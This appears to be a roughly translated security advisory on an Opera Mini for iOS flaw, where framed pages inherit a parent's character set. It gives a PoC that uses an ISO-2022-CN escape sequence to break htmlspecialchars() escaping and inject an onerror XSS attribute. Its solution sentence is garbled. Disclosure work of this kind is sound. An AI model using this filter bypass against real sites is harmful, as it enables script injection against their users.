Operabrowser cross-origin character set inheritance Vulnerability
I finally graduated ...... Come again
Detailed description:
Test environment: iphone4s/ios7.0.6/Opera Mini
Brief description of Simulation Scenario: Cross-origin character set inheritance prevents the correctly used htmlspecialchars () from XSS attacks
Example of a page with no XSS vulnerability found: http://kcal.pw/cp.php
Code Region
<!DOCTYPE html>
<title>Opera mini for ios devices(iphone/ipod/ipad) Cross origin characterSet Inheritance vulnerability POC </title>
<p>Opera mini for ios devices(iphone/ipod/ipad) Cross origin characterSet Inheritance vulnerability POC </p>
<p>Tested in iphone4s/ios7.0.6</p>
<form>
<input name=keyword value="<?php echo htmlspecialchars($_GET["a"]) ?>">
<input name=type value="<?php echo htmlspecialchars($_GET["b"]) ?>">
</form>
For general html attributes context, this filtering method basically has no objection. That is to say, this page does not have the XSS vulnerability. However, since Opera mini for ios does not strictly control the inheritance of character sets in SOP, pages in iframe inherit the character set of the parent page.
Proof of vulnerability:
POC: http://x55.me/cpframe.htm
Code Region
<meta charset=iso-2022-cn>
<iframe src='//kcal.pw/cp.php?a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.characterSet);//'>
Because in opera mini when the character set is set to ios-2022-cn, [0x1B] $ * H [0x1B] N destroys subsequent characters (here double quotes are broken, eventually, it leads to XSS), and finally the htmlspecialchars () function is successfully bypass.
Solution:
Strictly control cross-origin character set inheritance issues. For iframe, it should be the same-source inheritance, but not the same-source inheritance.